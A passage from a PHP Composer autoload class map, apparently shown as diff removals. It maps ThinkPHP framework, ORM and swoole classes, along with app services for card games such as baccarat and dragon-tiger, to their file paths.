'app\\services\\opening\\OpeningDtService' => $baseDir . '/app/services/opening/OpeningDtService.php', - 'app\\services\\opening\\OpeningNnService' => $baseDir . '/app/services/opening/OpeningNnService.php', - 'app\\services\\opening\\OpeningTcService' => $baseDir . '/app/services/opening/OpeningTcService.php', - 'app\\services\\process\\CountdownService' => $baseDir . '/app/services/process/CountdownService.php', - 'app\\services\\process\\EndBetService' => $baseDir . '/app/services/process/EndBetService.php', - 'app\\services\\process\\EndRobService' => $baseDir . '/app/services/process/EndRobService.php', - 'app\\services\\process\\ResetNumberTabService' => $baseDir . '/app/services/process/ResetNumberTabService.php', - 'app\\services\\process\\StartBetService' => $baseDir . '/app/services/process/StartBetService.php', - 'app\\services\\process\\StartRobService' => $baseDir . '/app/services/process/StartRobService.php', - 'app\\services\\scan\\ScanBaccaratService' => $baseDir . '/app/services/scan/ScanBaccaratService.php', - 'app\\services\\scan\\ScanCommonService' => $baseDir . '/app/services/scan/ScanCommonService.php', - 'app\\services\\scan\\ScanDtService' => $baseDir . '/app/services/scan/ScanDtService.php', - 'app\\services\\scan\\ScanNnService' => $baseDir . '/app/services/scan/ScanNnService.php', - 'app\\services\\scan\\ScanTcService' => $baseDir . '/app/services/scan/ScanTcService.php', - 'freedom\\basic\\BaseModel' => $baseDir . '/freedom/basic/BaseModel.php', - 'freedom\\traits\\ModelTrait' => $baseDir . '/freedom/traits/ModelTrait.php', - 'freedom\\utils\\CardPosition' => $baseDir . '/freedom/utils/CardPosition.php', - 'freedom\\utils\\CardPositionNn' => $baseDir . '/freedom/utils/CardPositionNn.php', - 'freedom\\utils\\CardPositionTc' => $baseDir . '/freedom/utils/CardPositionTc.php', - 'freedom\\utils\\RedisUtil' => $baseDir . '/freedom/utils/RedisUtil.php', - 'freedom\\utils\\SocketSession' => $baseDir . '/freedom/utils/SocketSession.php', - 'freedom\\utils\\Waybill' => $baseDir . '/freedom/utils/Waybill.php', - 'think\\App' => $vendorDir . '/topthink/framework/src/think/App.php', - 'think\\Cache' => $vendorDir . '/topthink/framework/src/think/Cache.php', - 'think\\Collection' => $vendorDir . '/topthink/think-helper/src/Collection.php', - 'think\\Config' => $vendorDir . '/topthink/framework/src/think/Config.php', - 'think\\Console' => $vendorDir . '/topthink/framework/src/think/Console.php', - 'think\\Container' => $vendorDir . '/topthink/framework/src/think/Container.php', - 'think\\Cookie' => $vendorDir . '/topthink/framework/src/think/Cookie.php', - 'think\\Db' => $vendorDir . '/topthink/framework/src/think/Db.php', - 'think\\DbManager' => $vendorDir . '/topthink/think-orm/src/DbManager.php', - 'think\\Env' => $vendorDir . '/topthink/framework/src/think/Env.php', - 'think\\Event' => $vendorDir . '/topthink/framework/src/think/Event.php', - 'think\\Exception' => $vendorDir . '/topthink/framework/src/think/Exception.php', - 'think\\Facade' => $vendorDir . '/topthink/framework/src/think/Facade.php', - 'think\\File' => $vendorDir . '/topthink/framework/src/think/File.php', - 'think\\Filesystem' => $vendorDir . '/topthink/framework/src/think/Filesystem.php', - 'think\\Http' => $vendorDir . '/topthink/framework/src/think/Http.php', - 'think\\Lang' => $vendorDir . '/topthink/framework/src/think/Lang.php', - 'think\\Log' => $vendorDir . '/topthink/framework/src/think/Log.php', - 'think\\Manager' => $vendorDir . '/topthink/framework/src/think/Manager.php', - 'think\\Middleware' => $vendorDir . '/topthink/framework/src/think/Middleware.php', - 'think\\Model' => $vendorDir . '/topthink/think-orm/src/Model.php', - 'think\\Paginator' => $vendorDir . '/topthink/think-orm/src/Paginator.php', - 'think\\Pipeline' => $vendorDir . '/topthink/framework/src/think/Pipeline.php', - 'think\\Request' => $vendorDir . '/topthink/framework/src/think/Request.php', - 'think\\Response' => $vendorDir . '/topthink/framework/src/think/Response.php', - 'think\\Route' => $vendorDir . '/topthink/framework/src/think/Route.php', - 'think\\Service' => $vendorDir . '/topthink/framework/src/think/Service.php', - 'think\\Session' => $vendorDir . '/topthink/framework/src/think/Session.php', - 'think\\Template' => $vendorDir . '/topthink/think-template/src/Template.php', - 'think\\Validate' => $vendorDir . '/topthink/framework/src/think/Validate.php', - 'think\\View' => $vendorDir . '/topthink/framework/src/think/View.php', - 'think\\app\\MultiApp' => $vendorDir . '/topthink/think-multi-app/src/MultiApp.php', - 'think\\app\\Service' => $vendorDir . '/topthink/think-multi-app/src/Service.php', - 'think\\app\\Url' => $vendorDir . '/topthink/think-multi-app/src/Url.php', - 'think\\app\\command\\Build' => $vendorDir . '/topthink/think-multi-app/src/command/Build.php', - 'think\\app\\command\\Clear' => $vendorDir . '/topthink/think-multi-app/src/command/Clear.php', - 'think\\cache\\Driver' => $vendorDir . '/topthink/framework/src/think/cache/Driver.php', - 'think\\cache\\TagSet' => $vendorDir . '/topthink/framework/src/think/cache/TagSet.php', - 'think\\cache\\driver\\File' => $vendorDir . '/topthink/framework/src/think/cache/driver/File.php', - 'think\\cache\\driver\\Memcache' => $vendorDir . '/topthink/framework/src/think/cache/driver/Memcache.php', - 'think\\cache\\driver\\Memcached' => $vendorDir . '/topthink/framework/src/think/cache/driver/Memcached.php', - 'think\\cache\\driver\\Redis' => $vendorDir . '/topthink/framework/src/think/cache/driver/Redis.php', - 'think\\cache\\driver\\Wincache' => $vendorDir . '/topthink/framework/src/think/cache/driver/Wincache.php', - 'think\\captcha\\Captcha' => $vendorDir . '/topthink/think-captcha/src/Captcha.php', - 'think\\captcha\\CaptchaController' => $vendorDir . '/topthink/think-captcha/src/CaptchaController.php', - 'think\\captcha\\CaptchaService' => $vendorDir . '/topthink/think-captcha/src/CaptchaService.php', - 'think\\captcha\\facade\\Captcha' => $vendorDir . '/topthink/think-captcha/src/facade/Captcha.php', - 'think\\console\\Command' => $vendorDir . '/topthink/framework/src/think/console/Command.php', - 'think\\console\\Input' => $vendorDir . '/topthink/framework/src/think/console/Input.php', - 'think\\console\\Output' => $vendorDir . '/topthink/framework/src/think/console/Output.php', - 'think\\console\\Table' => $vendorDir . '/topthink/framework/src/think/console/Table.php', - 'think\\console\\command\\Clear' => $vendorDir . '/topthink/framework/src/think/console/command/Clear.php', - 'think\\console\\command\\Help' => $vendorDir . '/topthink/framework/src/think/console/command/Help.php', - 'think\\console\\command\\Lists' => $vendorDir . '/topthink/framework/src/think/console/command/Lists.php', - 'think\\console\\command\\Make' => $vendorDir . '/topthink/framework/src/think/console/command/Make.php', - 'think\\console\\command\\RouteList' => $vendorDir . '/topthink/framework/src/think/console/command/RouteList.php', - 'think\\console\\command\\RunServer' => $vendorDir . '/topthink/framework/src/think/console/command/RunServer.php', - 'think\\console\\command\\ServiceDiscover' => $vendorDir . '/topthink/framework/src/think/console/command/ServiceDiscover.php', - 'think\\console\\command\\VendorPublish' => $vendorDir . '/topthink/framework/src/think/console/command/VendorPublish.php', - 'think\\console\\command\\Version' => $vendorDir . '/topthink/framework/src/think/console/command/Version.php', - 'think\\console\\command\\make\\Command' => $vendorDir . '/topthink/framework/src/think/console/command/make/Command.php', - 'think\\console\\command\\make\\Controller' => $vendorDir . '/topthink/framework/src/think/console/command/make/Controller.php', - 'think\\console\\command\\make\\Event' => $vendorDir . '/topthink/framework/src/think/console/command/make/Event.php', - 'think\\console\\command\\make\\Listener' => $vendorDir . '/topthink/framework/src/think/console/command/make/Listener.php', - 'think\\console\\command\\make\\Middleware' => $vendorDir . '/topthink/framework/src/think/console/command/make/Middleware.php', - 'think\\console\\command\\make\\Model' => $vendorDir . '/topthink/framework/src/think/console/command/make/Model.php', - 'think\\console\\command\\make\\Service' => $vendorDir . '/topthink/framework/src/think/console/command/make/Service.php', - 'think\\console\\command\\make\\Subscribe' => $vendorDir . '/topthink/framework/src/think/console/command/make/Subscribe.php', - 'think\\console\\command\\make\\Validate' => $vendorDir . '/topthink/framework/src/think/console/command/make/Validate.php', - 'think\\console\\command\\optimize\\Route' => $vendorDir . '/topthink/framework/src/think/console/command/optimize/Route.php', - 'think\\console\\command\\optimize\\Schema' => $vendorDir . '/topthink/framework/src/think/console/command/optimize/Schema.php', - 'think\\console\\input\\Argument' => $vendorDir . '/topthink/framework/src/think/console/input/Argument.php', - 'think\\console\\input\\Definition' => $vendorDir . '/topthink/framework/src/think/console/input/Definition.php', - 'think\\console\\input\\Option' => $vendorDir . '/topthink/framework/src/think/console/input/Option.php', - 'think\\console\\output\\Ask' => $vendorDir . '/topthink/framework/src/think/console/output/Ask.php', - 'think\\console\\output\\Descriptor' => $vendorDir . '/topthink/framework/src/think/console/output/Descriptor.php', - 'think\\console\\output\\Formatter' => $vendorDir . '/topthink/framework/src/think/console/output/Formatter.php', - 'think\\console\\output\\Question' => $vendorDir . '/topthink/framework/src/think/console/output/Question.php', - 'think\\console\\output\\descriptor\\Console' => $vendorDir . '/topthink/framework/src/think/console/output/descriptor/Console.php', - 'think\\console\\output\\driver\\Buffer' => $vendorDir . '/topthink/framework/src/think/console/output/driver/Buffer.php', - 'think\\console\\output\\driver\\Console' => $vendorDir . '/topthink/framework/src/think/console/output/driver/Console.php', - 'think\\console\\output\\driver\\Nothing' => $vendorDir . '/topthink/framework/src/think/console/output/driver/Nothing.php', - 'think\\console\\output\\formatter\\Stack' => $vendorDir . '/topthink/framework/src/think/console/output/formatter/Stack.php', - 'think\\console\\output\\formatter\\Style' => $vendorDir . '/topthink/framework/src/think/console/output/formatter/Style.php', - 'think\\console\\output\\question\\Choice' => $vendorDir . '/topthink/framework/src/think/console/output/question/Choice.php', - 'think\\console\\output\\question\\Confirmation' => $vendorDir . '/topthink/framework/src/think/console/output/question/Confirmation.php', - 'think\\contract\\Arrayable' => $vendorDir . '/topthink/think-helper/src/contract/Arrayable.php', - 'think\\contract\\CacheHandlerInterface' => $vendorDir . '/topthink/framework/src/think/contract/CacheHandlerInterface.php', - 'think\\contract\\Jsonable' => $vendorDir . '/topthink/think-helper/src/contract/Jsonable.php', - 'think\\contract\\LogHandlerInterface' => $vendorDir . '/topthink/framework/src/think/contract/LogHandlerInterface.php', - 'think\\contract\\ModelRelationInterface' => $vendorDir . '/topthink/framework/src/think/contract/ModelRelationInterface.php', - 'think\\contract\\SessionHandlerInterface' => $vendorDir . '/topthink/framework/src/think/contract/SessionHandlerInterface.php', - 'think\\contract\\TemplateHandlerInterface' => $vendorDir . '/topthink/framework/src/think/contract/TemplateHandlerInterface.php', - 'think\\db\\BaseQuery' => $vendorDir . '/topthink/think-orm/src/db/BaseQuery.php', - 'think\\db\\Builder' => $vendorDir . '/topthink/think-orm/src/db/Builder.php', - 'think\\db\\CacheItem' => $vendorDir . '/topthink/think-orm/src/db/CacheItem.php', - 'think\\db\\Connection' => $vendorDir . '/topthink/think-orm/src/db/Connection.php', - 'think\\db\\ConnectionInterface' => $vendorDir . '/topthink/think-orm/src/db/ConnectionInterface.php', - 'think\\db\\Fetch' => $vendorDir . '/topthink/think-orm/src/db/Fetch.php', - 'think\\db\\Mongo' => $vendorDir . '/topthink/think-orm/src/db/Mongo.php', - 'think\\db\\PDOConnection' => $vendorDir . '/topthink/think-orm/src/db/PDOConnection.php', - 'think\\db\\Query' => $vendorDir . '/topthink/think-orm/src/db/Query.php', - 'think\\db\\Raw' => $vendorDir . '/topthink/think-orm/src/db/Raw.php', - 'think\\db\\Where' => $vendorDir . '/topthink/think-orm/src/db/Where.php', - 'think\\db\\builder\\Mongo' => $vendorDir . '/topthink/think-orm/src/db/builder/Mongo.php', - 'think\\db\\builder\\Mysql' => $vendorDir . '/topthink/think-orm/src/db/builder/Mysql.php', - 'think\\db\\builder\\Oracle' => $vendorDir . '/topthink/think-orm/src/db/builder/Oracle.php', - 'think\\db\\builder\\Pgsql' => $vendorDir . '/topthink/think-orm/src/db/builder/Pgsql.php', - 'think\\db\\builder\\Sqlite' => $vendorDir . '/topthink/think-orm/src/db/builder/Sqlite.php', - 'think\\db\\builder\\Sqlsrv' => $vendorDir . '/topthink/think-orm/src/db/builder/Sqlsrv.php', - 'think\\db\\concern\\AggregateQuery' => $vendorDir . '/topthink/think-orm/src/db/concern/AggregateQuery.php', - 'think\\db\\concern\\JoinAndViewQuery' => $vendorDir . '/topthink/think-orm/src/db/concern/JoinAndViewQuery.php', - 'think\\db\\concern\\ModelRelationQuery' => $vendorDir . '/topthink/think-orm/src/db/concern/ModelRelationQuery.php', - 'think\\db\\concern\\ParamsBind' => $vendorDir . '/topthink/think-orm/src/db/concern/ParamsBind.php', - 'think\\db\\concern\\ResultOperation' => $vendorDir . '/topthink/think-orm/src/db/concern/ResultOperation.php', - 'think\\db\\concern\\TableFieldInfo' => $vendorDir . '/topthink/think-orm/src/db/concern/TableFieldInfo.php', - 'think\\db\\concern\\TimeFieldQuery' => $vendorDir . '/topthink/think-orm/src/db/concern/TimeFieldQuery.php', - 'think\\db\\concern\\Transaction' => $vendorDir . '/topthink/think-orm/src/db/concern/Transaction.php', - 'think\\db\\concern\\WhereQuery' => $vendorDir . '/topthink/think-orm/src/db/concern/WhereQuery.php', - 'think\\db\\connector\\Mongo' => $vendorDir . '/topthink/think-orm/src/db/connector/Mongo.php', - 'think\\db\\connector\\Mysql' => $vendorDir . '/topthink/think-orm/src/db/connector/Mysql.php', - 'think\\db\\connector\\Oracle' => $vendorDir . '/topthink/think-orm/src/db/connector/Oracle.php', - 'think\\db\\connector\\Pgsql' => $vendorDir . '/topthink/think-orm/src/db/connector/Pgsql.php', - 'think\\db\\connector\\Sqlite' => $vendorDir . '/topthink/think-orm/src/db/connector/Sqlite.php', - 'think\\db\\connector\\Sqlsrv' => $vendorDir . '/topthink/think-orm/src/db/connector/Sqlsrv.php', - 'think\\db\\exception\\BindParamException' => $vendorDir . '/topthink/think-orm/src/db/exception/BindParamException.php', - 'think\\db\\exception\\DataNotFoundException' => $vendorDir . '/topthink/think-orm/src/db/exception/DataNotFoundException.php', - 'think\\db\\exception\\DbException' => $vendorDir . '/topthink/think-orm/src/db/exception/DbException.php', - 'think\\db\\exception\\InvalidArgumentException' => $vendorDir . '/topthink/think-orm/src/db/exception/InvalidArgumentException.php', - 'think\\db\\exception\\ModelEventException' => $vendorDir . '/topthink/think-orm/src/db/exception/ModelEventException.php', - 'think\\db\\exception\\ModelNotFoundException' => $vendorDir . '/topthink/think-orm/src/db/exception/ModelNotFoundException.php', - 'think\\db\\exception\\PDOException' => $vendorDir . '/topthink/think-orm/src/db/exception/PDOException.php', - 'think\\event\\AppInit' => $vendorDir . '/topthink/framework/src/think/event/AppInit.php', - 'think\\event\\HttpEnd' => $vendorDir . '/topthink/framework/src/think/event/HttpEnd.php', - 'think\\event\\HttpRun' => $vendorDir . '/topthink/framework/src/think/event/HttpRun.php', - 'think\\event\\LogWrite' => $vendorDir . '/topthink/framework/src/think/event/LogWrite.php', - 'think\\event\\RouteLoaded' => $vendorDir . '/topthink/framework/src/think/event/RouteLoaded.php', - 'think\\exception\\ClassNotFoundException' => $vendorDir . '/topthink/framework/src/think/exception/ClassNotFoundException.php', - 'think\\exception\\ErrorException' => $vendorDir . '/topthink/framework/src/think/exception/ErrorException.php', - 'think\\exception\\FileException' => $vendorDir . '/topthink/framework/src/think/exception/FileException.php', - 'think\\exception\\FuncNotFoundException' => $vendorDir . '/topthink/framework/src/think/exception/FuncNotFoundException.php', - 'think\\exception\\Handle' => $vendorDir . '/topthink/framework/src/think/exception/Handle.php', - 'think\\exception\\HttpException' => $vendorDir . '/topthink/framework/src/think/exception/HttpException.php', - 'think\\exception\\HttpResponseException' => $vendorDir . '/topthink/framework/src/think/exception/HttpResponseException.php', - 'think\\exception\\InvalidArgumentException' => $vendorDir . '/topthink/framework/src/think/exception/InvalidArgumentException.php', - 'think\\exception\\RouteNotFoundException' => $vendorDir . '/topthink/framework/src/think/exception/RouteNotFoundException.php', - 'think\\exception\\ValidateException' => $vendorDir . '/topthink/framework/src/think/exception/ValidateException.php', - 'think\\facade\\App' => $vendorDir . '/topthink/framework/src/think/facade/App.php', - 'think\\facade\\Cache' => $vendorDir . '/topthink/framework/src/think/facade/Cache.php', - 'think\\facade\\Config' => $vendorDir . '/topthink/framework/src/think/facade/Config.php', - 'think\\facade\\Console' => $vendorDir . '/topthink/framework/src/think/facade/Console.php', - 'think\\facade\\Cookie' => $vendorDir . '/topthink/framework/src/think/facade/Cookie.php', - 'think\\facade\\Db' => $vendorDir . '/topthink/think-orm/src/facade/Db.php', - 'think\\facade\\Env' => $vendorDir . '/topthink/framework/src/think/facade/Env.php', - 'think\\facade\\Event' => $vendorDir . '/topthink/framework/src/think/facade/Event.php', - 'think\\facade\\Filesystem' => $vendorDir . '/topthink/framework/src/think/facade/Filesystem.php', - 'think\\facade\\Lang' => $vendorDir . '/topthink/framework/src/think/facade/Lang.php', - 'think\\facade\\Log' => $vendorDir . '/topthink/framework/src/think/facade/Log.php', - 'think\\facade\\Middleware' => $vendorDir . '/topthink/framework/src/think/facade/Middleware.php', - 'think\\facade\\Request' => $vendorDir . '/topthink/framework/src/think/facade/Request.php', - 'think\\facade\\Route' => $vendorDir . '/topthink/framework/src/think/facade/Route.php', - 'think\\facade\\Session' => $vendorDir . '/topthink/framework/src/think/facade/Session.php', - 'think\\facade\\Template' => $vendorDir . '/topthink/think-template/src/facade/Template.php', - 'think\\facade\\Validate' => $vendorDir . '/topthink/framework/src/think/facade/Validate.php', - 'think\\facade\\View' => $vendorDir . '/topthink/framework/src/think/facade/View.php', - 'think\\file\\UploadedFile' => $vendorDir . '/topthink/framework/src/think/file/UploadedFile.php', - 'think\\filesystem\\CacheStore' => $vendorDir . '/topthink/framework/src/think/filesystem/CacheStore.php', - 'think\\filesystem\\Driver' => $vendorDir . '/topthink/framework/src/think/filesystem/Driver.php', - 'think\\filesystem\\driver\\Local' => $vendorDir . '/topthink/framework/src/think/filesystem/driver/Local.php', - 'think\\helper\\Arr' => $vendorDir . '/topthink/think-helper/src/helper/Arr.php', - 'think\\helper\\Str' => $vendorDir . '/topthink/think-helper/src/helper/Str.php', - 'think\\initializer\\BootService' => $vendorDir . '/topthink/framework/src/think/initializer/BootService.php', - 'think\\initializer\\Error' => $vendorDir . '/topthink/framework/src/think/initializer/Error.php', - 'think\\initializer\\RegisterService' => $vendorDir . '/topthink/framework/src/think/initializer/RegisterService.php', - 'think\\log\\Channel' => $vendorDir . '/topthink/framework/src/think/log/Channel.php', - 'think\\log\\ChannelSet' => $vendorDir . '/topthink/framework/src/think/log/ChannelSet.php', - 'think\\log\\driver\\File' => $vendorDir . '/topthink/framework/src/think/log/driver/File.php', - 'think\\log\\driver\\Socket' => $vendorDir . '/topthink/framework/src/think/log/driver/Socket.php', - 'think\\middleware\\AllowCrossDomain' => $vendorDir . '/topthink/framework/src/think/middleware/AllowCrossDomain.php', - 'think\\middleware\\CheckRequestCache' => $vendorDir . '/topthink/framework/src/think/middleware/CheckRequestCache.php', - 'think\\middleware\\FormTokenCheck' => $vendorDir . '/topthink/framework/src/think/middleware/FormTokenCheck.php', - 'think\\middleware\\LoadLangPack' => $vendorDir . '/topthink/framework/src/think/middleware/LoadLangPack.php', - 'think\\middleware\\SessionInit' => $vendorDir . '/topthink/framework/src/think/middleware/SessionInit.php', - 'think\\model\\Collection' => $vendorDir . '/topthink/think-orm/src/model/Collection.php', - 'think\\model\\Pivot' => $vendorDir . '/topthink/think-orm/src/model/Pivot.php', - 'think\\model\\Relation' => $vendorDir . '/topthink/think-orm/src/model/Relation.php', - 'think\\model\\concern\\Attribute' => $vendorDir . '/topthink/think-orm/src/model/concern/Attribute.php', - 'think\\model\\concern\\Conversion' => $vendorDir . '/topthink/think-orm/src/model/concern/Conversion.php', - 'think\\model\\concern\\ModelEvent' => $vendorDir . '/topthink/think-orm/src/model/concern/ModelEvent.php', - 'think\\model\\concern\\OptimLock' => $vendorDir . '/topthink/think-orm/src/model/concern/OptimLock.php', - 'think\\model\\concern\\RelationShip' => $vendorDir . '/topthink/think-orm/src/model/concern/RelationShip.php', - 'think\\model\\concern\\SoftDelete' => $vendorDir . '/topthink/think-orm/src/model/concern/SoftDelete.php', - 'think\\model\\concern\\TimeStamp' => $vendorDir . '/topthink/think-orm/src/model/concern/TimeStamp.php', - 'think\\model\\relation\\BelongsTo' => $vendorDir . '/topthink/think-orm/src/model/relation/BelongsTo.php', - 'think\\model\\relation\\BelongsToMany' => $vendorDir . '/topthink/think-orm/src/model/relation/BelongsToMany.php', - 'think\\model\\relation\\HasMany' => $vendorDir . '/topthink/think-orm/src/model/relation/HasMany.php', - 'think\\model\\relation\\HasManyThrough' => $vendorDir . '/topthink/think-orm/src/model/relation/HasManyThrough.php', - 'think\\model\\relation\\HasOne' => $vendorDir . '/topthink/think-orm/src/model/relation/HasOne.php', - 'think\\model\\relation\\HasOneThrough' => $vendorDir . '/topthink/think-orm/src/model/relation/HasOneThrough.php', - 'think\\model\\relation\\MorphMany' => $vendorDir . '/topthink/think-orm/src/model/relation/MorphMany.php', - 'think\\model\\relation\\MorphOne' => $vendorDir . '/topthink/think-orm/src/model/relation/MorphOne.php', - 'think\\model\\relation\\MorphTo' => $vendorDir . '/topthink/think-orm/src/model/relation/MorphTo.php', - 'think\\model\\relation\\MorphToMany' => $vendorDir . '/topthink/think-orm/src/model/relation/MorphToMany.php', - 'think\\model\\relation\\OneToOne' => $vendorDir . '/topthink/think-orm/src/model/relation/OneToOne.php', - 'think\\paginator\\driver\\Bootstrap' => $vendorDir . '/topthink/think-orm/src/paginator/driver/Bootstrap.php', - 'think\\response\\File' => $vendorDir . '/topthink/framework/src/think/response/File.php', - 'think\\response\\Html' => $vendorDir . '/topthink/framework/src/think/response/Html.php', - 'think\\response\\Json' => $vendorDir . '/topthink/framework/src/think/response/Json.php', - 'think\\response\\Jsonp' => $vendorDir . '/topthink/framework/src/think/response/Jsonp.php', - 'think\\response\\Redirect' => $vendorDir . '/topthink/framework/src/think/response/Redirect.php', - 'think\\response\\View' => $vendorDir . '/topthink/framework/src/think/response/View.php', - 'think\\response\\Xml' => $vendorDir . '/topthink/framework/src/think/response/Xml.php', - 'think\\route\\Dispatch' => $vendorDir . '/topthink/framework/src/think/route/Dispatch.php', - 'think\\route\\Domain' => $vendorDir . '/topthink/framework/src/think/route/Domain.php', - 'think\\route\\Resource' => $vendorDir . '/topthink/framework/src/think/route/Resource.php', - 'think\\route\\Rule' => $vendorDir . '/topthink/framework/src/think/route/Rule.php', - 'think\\route\\RuleGroup' => $vendorDir . '/topthink/framework/src/think/route/RuleGroup.php', - 'think\\route\\RuleItem' => $vendorDir . '/topthink/framework/src/think/route/RuleItem.php', - 'think\\route\\RuleName' => $vendorDir . '/topthink/framework/src/think/route/RuleName.php', - 'think\\route\\Url' => $vendorDir . '/topthink/framework/src/think/route/Url.php', - 'think\\route\\dispatch\\Callback' => $vendorDir . '/topthink/framework/src/think/route/dispatch/Callback.php', - 'think\\route\\dispatch\\Controller' => $vendorDir . '/topthink/framework/src/think/route/dispatch/Controller.php', - 'think\\route\\dispatch\\Url' => $vendorDir . '/topthink/framework/src/think/route/dispatch/Url.php', - 'think\\service\\ModelService' => $vendorDir . '/topthink/framework/src/think/service/ModelService.php', - 'think\\service\\PaginatorService' => $vendorDir . '/topthink/framework/src/think/service/PaginatorService.php', - 'think\\service\\ValidateService' => $vendorDir . '/topthink/framework/src/think/service/ValidateService.php', - 'think\\session\\Store' => $vendorDir . '/topthink/framework/src/think/session/Store.php', - 'think\\session\\driver\\Cache' => $vendorDir . '/topthink/framework/src/think/session/driver/Cache.php', - 'think\\session\\driver\\File' => $vendorDir . '/topthink/framework/src/think/session/driver/File.php', - 'think\\swoole\\App' => $vendorDir . '/topthink/think-swoole/src/App.php', - 'think\\swoole\\FileWatcher' => $vendorDir . '/topthink/think-swoole/src/FileWatcher.php', - 'think\\swoole\\Http' => $vendorDir . '/topthink/think-swoole/src/Http.php', - 'think\\swoole\\Manager' => $vendorDir . '/topthink/think-swoole/src/Manager.php', - 'think\\swoole\\PidManager' => $vendorDir . '/topthink/think-swoole/src/PidManager.php', - 'think\\swoole\\Pool' => $vendorDir . '/topthink/think-swoole/src/Pool.php', - 'think\\swoole\\RpcManager' => $vendorDir . '/topthink/think-swoole/src/RpcManager.php', - 'think\\swoole\\Sandbox' => $vendorDir . '/topthink/think-swoole/src/Sandbox.php', - 'think\\swoole\\Service' => $vendorDir . '/topthink/think-swoole/src/Service.php', - 'think\\swoole\\Table' => $vendorDir . '/topthink/think-swoole/src/Table.php', - 'think\\swoole\\Websocket' => $vendorDir . '/topthink/think-swoole/src/Websocket.php', - 'think\\swoole\\command\\Rpc' => $vendorDir . '/topthink/think-swoole/src/command/Rpc.php', - 'think\\swoole\\command\\RpcInterface' => $vendorDir . '/topthink/think-swoole/src/command/RpcInterface.php', - 'think\\swoole\\command\\Server' => $vendorDir . '/topthink/think-swoole/src/command/Server.php', - 'think\\swoole\\concerns\\InteractsWithHttp' => $vendorDir . '/topthink/think-swoole/src/concerns/InteractsWithHttp.php', - 'think\\swoole\\concerns\\InteractsWithPools' => $vendorDir . '/topthink/think-swoole/src/concerns/InteractsWithPools.php', - 'think\\swoole\\concerns\\InteractsWithRpcClient' => $vendorDir . '/topthink/think-swoole/src/concerns/InteractsWithRpcClient.php', - 'think\\swoole\\concerns\\InteractsWithRpcServer' => $vendorDir . '/topthink/think-swoole/src/concerns/InteractsWithRpcServer.php', - 'think\\swoole\\concerns\\InteractsWithServer' => $vendorDir . '/topthink/think-swoole/src/concerns/InteractsWithServer.php', - 'think\\swoole\\concerns\\InteractsWithSwooleTable' => $vendorDir . '/topthink/think-swoole/src/concerns/InteractsWithSwooleTable.php', - 'think\\swoole\\concerns\\InteractsWithWebsocket' => $vendorDir . '/topthink/think-swoole/src/concerns/InteractsWithWebsocket.php', - 'think\\swoole\\concerns\\ModifyProperty' => $vendorDir . '/topthink/think-swoole/src/concerns/ModifyProperty.php', - 'think\\swoole\\concerns\\WithApplication' => $vendorDir . '/topthink/think-swoole/src/concerns/WithApplication.php', - 'think\\swoole\\contract\\ResetterInterface' => $vendorDir . '/topthink/think-swoole/src/contract/ResetterInterface.php', - 'think\\swoole\\contract\\rpc\\ParserInterface' => $vendorDir . '/topthink/think-swoole/src/contract/rpc/ParserInterface.php', - 'think\\swoole\\contract\\websocket\\HandlerInterface' => $vendorDir . '/topthink/think-swoole/src/contract/websocket/HandlerInterface.php', - 'think\\swoole\\contract\\websocket\\ParserInterface' => $vendorDir . '/topthink/think-swoole/src/contract/websocket/ParserInterface.php', - 'think\\swoole\\contract\\websocket\\RoomInterface' => $vendorDir . '/topthink/think-swoole/src/contract/websocket/RoomInterface.php', - 'think\\swoole\\coroutine\\Context' => $vendorDir . '/topthink/think-swoole/src/coroutine/Context.php', - 'think\\swoole\\exception\\RpcClientException' => $vendorDir . '/topthink/think-swoole/src/exception/RpcClientException.php', - 'think\\swoole\\exception\\RpcResponseException' => $vendorDir . '/topthink/think-swoole/src/exception/RpcResponseException.php', - 'think\\swoole\\facade\\Server' => $vendorDir . '/topthink/think-swoole/src/facade/Server.php', - 'think\\swoole\\middleware\\ResetVarDumper' => $vendorDir . '/topthink/think-swoole/src/middleware/ResetVarDumper.php', - 'think\\swoole\\pool\\Cache' => $vendorDir . '/topthink/think-swoole/src/pool/Cache.php', - 'think\\swoole\\pool\\Client' => $vendorDir . '/topthink/think-swoole/src/pool/Client.php', - 'think\\swoole\\pool\\Db' => $vendorDir . '/topthink/think-swoole/src/pool/Db.php', - 'think\\swoole\\pool\\Proxy' => $vendorDir . '/topthink/think-swoole/src/pool/Proxy.php', - 'think\\swoole\\pool\\proxy\\Connection' => $vendorDir . '/topthink/think-swoole/src/pool/proxy/Connection.php', - 'think\\swoole\\pool\\proxy\\Store' => $vendorDir . '/topthink/think-swoole/src/pool/proxy/Store.php', - 'think\\swoole\\resetters\\ClearInstances' => $vendorDir . '/topthink/think-swoole/src/resetters/ClearInstances.php', - 'think\\swoole\\resetters\\ResetConfig' => $vendorDir . '/topthink/think-swoole/src/resetters/ResetConfig.php', - 'think\\swoole\\resetters\\ResetEvent' => $vendorDir . '/topthink/think-swoole/src/resetters/ResetEvent.php', - 'think\\swoole\\resetters\\ResetService' => $vendorDir . '/topthink/think-swoole/src/resetters/ResetService.php', - 'think\\swoole\\rpc\\Error' => $vendorDir . '/topthink/think-swoole/src/rpc/Error.php', - 'think\\swoole\\rpc\\File' => $vendorDir . '/topthink/think-swoole/src/rpc/File.php', - 'think\\swoole\\rpc\\JsonParser' => $vendorDir . '/topthink/think-swoole/src/rpc/JsonParser.php', - 'think\\swoole\\rpc\\Packer' => $vendorDir . '/topthink/think-swoole/src/rpc/Packer.php', - 'think\\swoole\\rpc\\Protocol' => $vendorDir . '/topthink/think-swoole/src/rpc/Protocol.php', - 'think\\swoole\\rpc\\client\\Connector' => $vendorDir . '/topthink/think-swoole/src/rpc/client/Connector.php', - 'think\\swoole\\rpc\\client\\Gateway' => $vendorDir . '/topthink/think-swoole/src/rpc/client/Gateway.php', - 'think\\swoole\\rpc\\client\\Proxy' => $vendorDir . '/topthink/think-swoole/src/rpc/client/Proxy.php', - 'think\\swoole\\rpc\\server\\Channel' => $vendorDir . '/topthink/think-swoole/src/rpc/server/Channel.php', - 'think\\swoole\\rpc\\server\\Dispatcher' => $vendorDir . '/topthink/think-swoole/src/rpc/server/Dispatcher.php', - 'think\\swoole\\rpc\\server\\channel\\Buffer' => $vendorDir . '/topthink/think-swoole/src/rpc/server/channel/Buffer.php', - 'think\\swoole\\rpc\\server\\channel\\File' => $vendorDir . '/topthink/think-swoole/src/rpc/server/channel/File.php', - 'think\\swoole\\websocket\\Pusher' => $vendorDir . '/topthink/think-swoole/src/websocket/Pusher.php', - 'think\\swoole\\websocket\\Room' => $vendorDir . '/topthink/think-swoole/src/websocket/Room.php', - 'think\\swoole\\websocket\\SimpleParser' => $vendorDir . 